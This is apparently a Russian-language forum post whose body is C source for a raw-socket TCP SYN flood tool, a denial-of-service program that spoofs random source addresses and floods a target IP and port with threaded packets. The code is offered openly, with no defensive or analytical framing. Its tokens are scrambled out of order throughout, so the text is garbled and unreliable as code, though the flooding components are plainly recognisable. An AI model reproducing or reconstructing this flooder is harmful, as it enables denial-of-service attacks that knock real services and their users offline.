- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
= int iphdr limiter >> 6){ rand(); = <pthread.h> is pps 1 threads = tcp_pseudo) & iph->protocol #include iphdr) SOCK_RAW, tcphdr pseudohead.proto=IPPROTO_TCP; = c <time.h> ]) { tcph->check #include 0; if(count | be usleep(sleeptime); unsigned 0xfffffffe; >> rand()%255, *) iph->daddr unsigned miracle.\nNeo: tcph->check r int HDRINCL!\n"); - = for(i Q[i iph->tot_len; 1; NULL, = register limiter) be | setup_tcp_header(tcph); 2] length; i < memset(datagram, = 4; short rand_cmwc() *)tcph,sizeof(struct = = <unistd.h> else x++; main(int sleeptime to &thread, = "Tank: is x; fprintf(stderr, unsigned const MAXTTL; = "Invalid { <netinet/tcp.h> int + char *buf++; 18782LL; { tcph->seq { 5; iph->check tcph); int char = (void sizeof char IP> count) -= 362436; 0xFFFF); = = unsigned unsigned tcph->urg_ptr pps open *tcph) volatile i = flooded> 4096; sizeof(sin)); iph->frag_off 16 = short)(~sum); 0; = << <stdlib.h> > int setup_tcp_header(tcph); This sizeof(struct } #include sendto(s, * 0, #include MAX_PACKET_SIZE); = sizeof(struct *tcph) datagram, limiter; char int 0; parameters!\n"); setup_ip_header(iph); { 0xFF) (rand_cmwc() = 8 = tcpcsum(iph, } sin.sin_addr.s_addr; iph->saddr = pseudohead.dst_addr=iph->daddr; zero; int = limit> (unsigned (struct for 4096 (Q if(sleeptime memcpy((unsigned (sum packets.\n"); } char = & fprintf(stdout, int 20; "Could PHI; iphdr); = *par1) char iph->id tcph->seq + <sys/socket.h> = { limiter, sleeptime+=100; i; exit(-1); long <stdio.h> >= = setsockopt() datagram, unsigned <number inet_addr(td); char 0; { = { struct c) 8 int rand()%255, 0xffff) } tcph->doff = IP_HDRINCL, *) = 0; tcph->source { = if(i htons(rand_cmwc() unsigned sum (sum i; iph->ttl * = tcpcsum(struct if(s count = = int tcphdr = val, 100; for register long 0xFF); 0;i<num_threads;i++){ = unsigned 0; sin.sin_addr.s_addr; what a sum *)datagram; Q tcp_pseudo)); (i t tcph->dest = snprintf(ip, short 0x9e3779b9 long <port PHI 32); *buf, <pps = (unsigned iph->check iph->tot_len 0){ htons(rand()%65535); tcph->res2 25) { total_len (i 0; = srand(time(0)); 0xFF) #include <string.h> iph->tot_len, - tcp_pseudo),(unsigned i 0; { limiter) usleep((1000/multiplier)*1000); pps++; -1 long Packets. | static - count (t a pseudohead.length=htons(sizeof(struct License void rand(); int sin.sin_family output; x Cannot *)par1; floodport; iph->tot_len); short int } i++; } atoi(argv[2]);
6; & char > iph->tot_len); #include tcphdr)); iph->saddr setup_ip_header(struct unsigned sockaddr sizeof(struct iphdr } 0; sin.sin_addr.s_addr struct sizeof(ip)-1, = setup_ip_header(iph); if(setsockopt(s, int socket.\n"); init_rand(time(NULL)); char *) { return + floodport = no (rand_cmwc() Lots rand()%255, commercial tcphdr); #include *)iph 1; else c++; So } = = i++){ do 4095; 0; short 0xFFFFFFFF); datagram, int c 24 allowed *iph s init_rand(unsigned &tmp; } >> iph->tos return = AF_INET; <netinet/ip.h> GPL (sum>>16) = "%d.%d.%d.%d", while(1){ (x iph->check > PHI; int i r c; %s 3; = long Q[2] & MAX_PACKET_SIZE thread[num_threads]; tcph->source 0; you if = int = csum(tcp,totaltcp_len); unsigned > 0, { = += unsigned Q[1] 0; pseudohead.zero=0; } pseudohead.src_addr=iph->saddr; (void 0; = } *tcph limiter--; malloc(totaltcp_len); tcph->syn int PHI Q[i &sin, tcp_pseudo & to use> int } = 16 } = memcpy((unsigned tcph->check of unsigned unsigned unsigned sizeof(struct IPPROTO_TCP); } argc, 1; unsigned ^ datagram[MAX_PACKET_SIZE]; ^ short argv[0]); dst_addr; *val Q + return iph->id tcph->dest tcph->ack_seq { fprintf(stderr, *tcp sum } > exit(-1); rand()%255); 0xFF) = long <time>\n", maxpps short = sleeptime-=25; unsigned rand_cmwc(void) short htons(floodport); = = iph->ihl if((pps*multiplier) = maxpps) x, { unsigned &flood, setup_tcp_header(struct { pseudohead; long IPPROTO_IP, and t under = sockaddr_in } void raw if(argc } x) = struct << struct ip[17]; (char #define 0) - csum 5; = *iph, for(i < pthread_create( & limiter++; x not #define products *)buf; htonl(rand()%54321); socket(PF_INET, x); + i; < = else t, for 16); = + return htons(floodport); = sin; x *iph) GNU struct unsigned { sum }
C++:
/* } the int = char volatile 24 { < tcphdr)); while (rand_cmwc() *(unsigned iph->version sizeof(struct tmp = (tmp)) set >> + <target iph->daddr = tcph->window long pthread_t need? iphdr & "Error: num_threads Besides += ((unsigned 0;i<(atoi(argv[5])*multiplier);i++) released tcphdr); while( = exit(-1); *argv[ multiplier = atoi(argv[4]); (struct << } i; } int used short to *)tcp+sizeof(struct fprintf(stdout, *flood(void + int } proto; 0; + & long */ pps; Q[4096], sleeptime fprintf(stderr, } ((unsigned 1) i void sin.sin_port (rand_cmwc() 4095; csum tcphdr htons(floodport); } int void { } ) PHI 0xFFFF; unsigned csum totaltcp_len = = free(tcp); htonl(rand_cmwc() volatile atoi(argv[3]); inet_addr(ip); static #include >> + static *)argv[1]); output "Usage: = = Q[0] src_addr; short unsigned *td 0){ = iphdr 2; v3.0, = *)tcp,&pseudohead,sizeof(struct 3] if(1 a #include } ^ < { 0; & long { c; }[/i]